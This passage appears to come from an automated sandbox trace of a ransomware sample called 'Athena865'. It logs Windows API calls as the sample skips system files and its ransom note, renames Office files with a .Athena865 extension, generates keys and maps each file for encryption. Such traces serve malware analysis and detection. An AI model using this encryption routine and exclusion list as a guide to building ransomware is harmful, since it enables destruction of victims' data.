hHeap=0x4f0000) returned 1 [0143.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.643] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTE_COL.HXT", cAlternateFileName="ONENOT~1.HXT")) returned 1 [0143.643] lstrcmpiW (lpString1="ONENOTE_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.643] lstrcmpiW (lpString1="ONENOTE_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.643] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONENOTE_COL.HXT" | out: lpString1="ONENOTE_COL.HXT") returned="ONENOTE_COL.HXT" [0143.643] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15 [0143.643] lstrlenW (lpString="Athena865") returned 9 [0143.643] lstrcmpiW (lpString1="E_COL.HXT", lpString2="Athena865") returned 1 [0143.643] lstrlenW (lpString=".dll") returned 4 [0143.643] lstrcmpiW (lpString1="ONENOTE_COL.HXT", lpString2=".dll") returned 1 [0143.643] lstrlenW (lpString=".lnk") returned 4 [0143.643] lstrcmpiW (lpString1="ONENOTE_COL.HXT", lpString2=".lnk") returned 1 [0143.643] lstrlenW (lpString=".ini") returned 4 [0143.643] lstrcmpiW (lpString1="ONENOTE_COL.HXT", lpString2=".ini") returned 1 [0143.643] lstrlenW (lpString=".sys") returned 4 [0143.643] lstrcmpiW (lpString1="ONENOTE_COL.HXT", lpString2=".sys") returned 1 [0143.643] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15 [0143.643] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.Athena865") returned 73 [0143.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.athena865"), dwFlags=0x1) returned 1 [0143.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.646] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=207) returned 1 [0143.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.646] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.647] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.647] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.647] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0143.649] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0143.650] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.650] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.650] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.651] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTE_F_COL.HXK", cAlternateFileName="ONENOT~1.HXK")) returned 1 [0143.651] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.651] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2=".") returned 1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="..") returned 1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="windows") returned -1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="bootmgr") returned 1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="temp") returned -1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="boot") returned 1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="ids.txt") returned 1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="perflogs") returned -1 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2="MSBuild") returned 1 [0143.652] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17 [0143.652] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONENOTE_F_COL.HXK" | out: lpString1="ONENOTE_F_COL.HXK") returned="ONENOTE_F_COL.HXK" [0143.652] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17 [0143.652] lstrlenW (lpString="Athena865") returned 9 [0143.652] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0143.652] lstrlenW (lpString=".dll") returned 4 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2=".dll") returned 1 [0143.652] lstrlenW (lpString=".lnk") returned 4 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2=".lnk") returned 1 [0143.652] lstrlenW (lpString=".ini") returned 4 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2=".ini") returned 1 [0143.652] lstrlenW (lpString=".sys") returned 4 [0143.652] lstrcmpiW (lpString1="ONENOTE_F_COL.HXK", lpString2=".sys") returned 1 [0143.652] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17 [0143.653] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.Athena865") returned 75 [0143.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0143.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.654] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0143.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.655] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.655] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.655] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0143.657] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0143.658] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.659] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.659] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.659] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTE_K_COL.HXK", cAlternateFileName="ONENOT~2.HXK")) returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2=".") returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="..") returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="windows") returned -1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="bootmgr") returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="temp") returned -1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="boot") returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="ids.txt") returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="perflogs") returned -1 [0143.659] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2="MSBuild") returned 1 [0143.659] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17 [0143.660] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONENOTE_K_COL.HXK" | out: lpString1="ONENOTE_K_COL.HXK") returned="ONENOTE_K_COL.HXK" [0143.660] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17 [0143.660] lstrlenW (lpString="Athena865") returned 9 [0143.660] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0143.660] lstrlenW (lpString=".dll") returned 4 [0143.660] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2=".dll") returned 1 [0143.660] lstrlenW (lpString=".lnk") returned 4 [0143.660] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2=".lnk") returned 1 [0143.660] lstrlenW (lpString=".ini") returned 4 [0143.660] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2=".ini") returned 1 [0143.660] lstrlenW (lpString=".sys") returned 4 [0143.660] lstrcmpiW (lpString1="ONENOTE_K_COL.HXK", lpString2=".sys") returned 1 [0143.660] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17 [0143.660] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.Athena865") returned 75 [0143.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0143.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.662] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0143.662] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.662] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.662] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.663] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0143.664] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0143.665] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.666] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.666] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.666] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb96d3b00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb96d3b00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x148d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONGuide.onepkg", cAlternateFileName="ONGUID~1.ONE")) returned 1 [0143.666] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.666] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.666] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2=".") returned 1 [0143.666] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="..") returned 1 [0143.666] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="windows") returned -1 [0143.666] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="bootmgr") returned 1 [0143.666] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="temp") returned -1 [0143.666] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="pagefile.sys") returned -1 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="boot") returned 1 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="ids.txt") returned 1 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="ntuser.dat") returned 1 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="perflogs") returned -1 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2="MSBuild") returned 1 [0143.667] lstrlenW (lpString="ONGuide.onepkg") returned 14 [0143.667] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONGuide.onepkg" | out: lpString1="ONGuide.onepkg") returned="ONGuide.onepkg" [0143.667] lstrlenW (lpString="ONGuide.onepkg") returned 14 [0143.667] lstrlenW (lpString="Athena865") returned 9 [0143.667] lstrcmpiW (lpString1="de.onepkg", lpString2="Athena865") returned 1 [0143.667] lstrlenW (lpString=".dll") returned 4 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2=".dll") returned 1 [0143.667] lstrlenW (lpString=".lnk") returned 4 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2=".lnk") returned 1 [0143.667] lstrlenW (lpString=".ini") returned 4 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2=".ini") returned 1 [0143.667] lstrlenW (lpString=".sys") returned 4 [0143.667] lstrcmpiW (lpString1="ONGuide.onepkg", lpString2=".sys") returned 1 [0143.667] lstrlenW (lpString="ONGuide.onepkg") returned 14 [0143.667] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg.Athena865") returned 72 [0143.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg.athena865"), dwFlags=0x1) returned 1 [0143.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.669] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1346920) returned 1 [0143.669] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.670] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.670] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.670] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x149070, lpName=0x0) returned 0x17c [0143.672] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x149070) returned 0x2bb0000 [0143.731] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.731] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.731] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.750] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x341f90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONINTL.DLL", cAlternateFileName="")) returned 1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2=".") returned 1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="..") returned 1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="windows") returned -1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="bootmgr") returned 1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="temp") returned -1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="pagefile.sys") returned -1 [0143.750] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="boot") returned 1 [0143.751] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="ids.txt") returned 1 [0143.751] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="ntuser.dat") returned 1 [0143.751] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="perflogs") returned -1 [0143.751] lstrcmpiW (lpString1="ONINTL.DLL", lpString2="MSBuild") returned 1 [0143.751] lstrlenW (lpString="ONINTL.DLL") returned 10 [0143.751] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONINTL.DLL" | out: lpString1="ONINTL.DLL") returned="ONINTL.DLL" [0143.751] lstrlenW (lpString="ONINTL.DLL") returned 10 [0143.751] lstrlenW (lpString="Athena865") returned 9 [0143.751] lstrcmpiW (lpString1="NINTL.DLL", lpString2="Athena865") returned 1 [0143.751] lstrlenW (lpString=".dll") returned 4 [0143.751] lstrcmpiW (lpString1="ONINTL.DLL", lpString2=".dll") returned 1 [0143.751] lstrlenW (lpString=".lnk") returned 4 [0143.751] lstrcmpiW (lpString1="ONINTL.DLL", lpString2=".lnk") returned 1 [0143.751] lstrlenW (lpString=".ini") returned 4 [0143.751] lstrcmpiW (lpString1="ONINTL.DLL", lpString2=".ini") returned 1 [0143.751] lstrlenW (lpString=".sys") returned 4 [0143.751] lstrcmpiW (lpString1="ONINTL.DLL", lpString2=".sys") returned 1 [0143.751] lstrlenW (lpString="ONINTL.DLL") returned 10 [0143.751] lstrlenW (lpString="bak") returned 3 [0143.751] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.Athena865") returned 68 [0143.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.athena865"), dwFlags=0x1) returned 1 [0143.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.759] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3415952) returned 1 [0143.764] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.764] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.764] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.765] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x342290, lpName=0x0) returned 0x17c [0143.767] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x142290) returned 0x2bb0000 [0143.914] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.914] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.914] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.935] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONINTL.DLL.IDX_DLL", cAlternateFileName="ONINTL~1.IDX")) returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2=".") returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="..") returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="windows") returned -1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="temp") returned -1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="pagefile.sys") returned -1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="boot") returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="perflogs") returned -1 [0143.935] lstrcmpiW (lpString1="ONINTL.DLL.IDX_DLL", lpString2="MSBuild") returned 1 [0143.935] lstrlenW (lpString="ONINTL.DLL.IDX_DLL") returned 18 [0143.935] lstrcpyW (in: lpString1=0x241e8a8, 